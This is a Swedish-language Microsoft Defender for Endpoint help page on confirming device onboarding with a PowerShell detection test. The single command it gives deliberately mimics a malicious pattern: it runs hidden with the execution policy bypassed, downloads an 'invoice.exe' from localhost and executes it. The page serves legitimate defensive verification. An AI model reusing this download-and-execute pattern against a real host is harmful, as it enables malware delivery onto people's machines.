Kör ett detekteringstest på en enhet som nyligen anslutits till Microsoft Defender för Endpoint

  • Gäller för: Microsoft Defender for Endpoint Plan 1 and 2

När du lägger till en enhet i Microsoft Defender för Endpoint-tjänsten för hantering kallas den registrering. Med onboarding kan enheter rapportera signaler om sin hälsostatus till Microsoft Defender för Endpoint.

Att kontrollera att en enhet har lagts till i tjänsten är ett viktigt steg i hela distributionsprocessen. Det säkerställer att alla enheter som förväntas hanteras.

Den här artikeln beskriver hur du kör ett PowerShell-identifieringstest på en nyligen registrerad enhet för att bekräfta att den rapporterar korrekt till Defender för Endpoint-tjänsten.

Förhandskrav

Operativsystem som stöds

Följande operativsystem stöds för detekteringstestet för verifiering vid introduktion:

  • Windows Server 2012 R2
  • Windows Server 2016 och senare
  • Azure Stack HCI OS, version 23H2 och senare

Verifiera att introduktionen av en enhet till Microsoft Defender för Endpoint har slutförts med ett identifieringstest i PowerShell

Kör följande PowerShell-skript på en nyligen registrerad enhet för att kontrollera att enheten rapporterar korrekt till Defender för Endpoint-tjänsten.

  1. Öppna Kommandotolken som administratör på enheten.

  2. Kopiera och kör följande kommando i kommandotolken. Det här kommandot simulerar ett skadligt hämtnings- och körningsmönster så att Microsoft Defender för Endpoint kan identifiera det och bekräfta att enheten rapporterar korrekt:

    powershell.exe -NoExit -ExecutionPolicy Bypass -WindowStyle Hidden $ErrorActionPreference = 'silentlycontinue';(New-Object System.Net.WebClient).DownloadFile('http://127.0.0.1/1.exe', 'C:\\test-MDATP-test\\invoice.exe');Start-Process 'C:\\test-MDATP-test\\invoice.exe'

    Kommandotolksfönstret stängs automatiskt. Om skriptet körs visas en ny avisering i Microsoft Defender-portalen för den registrerade enheten på cirka 10 minuter.

    Obs!

    Du kan också konfigurera undantag för filnamnstillägg för Microsoft Defender Antivirus för att utföra det här testet. Du får ett meddelande på slutpunkten och en avisering i Microsoft Defender-portalen.

  • Last updated on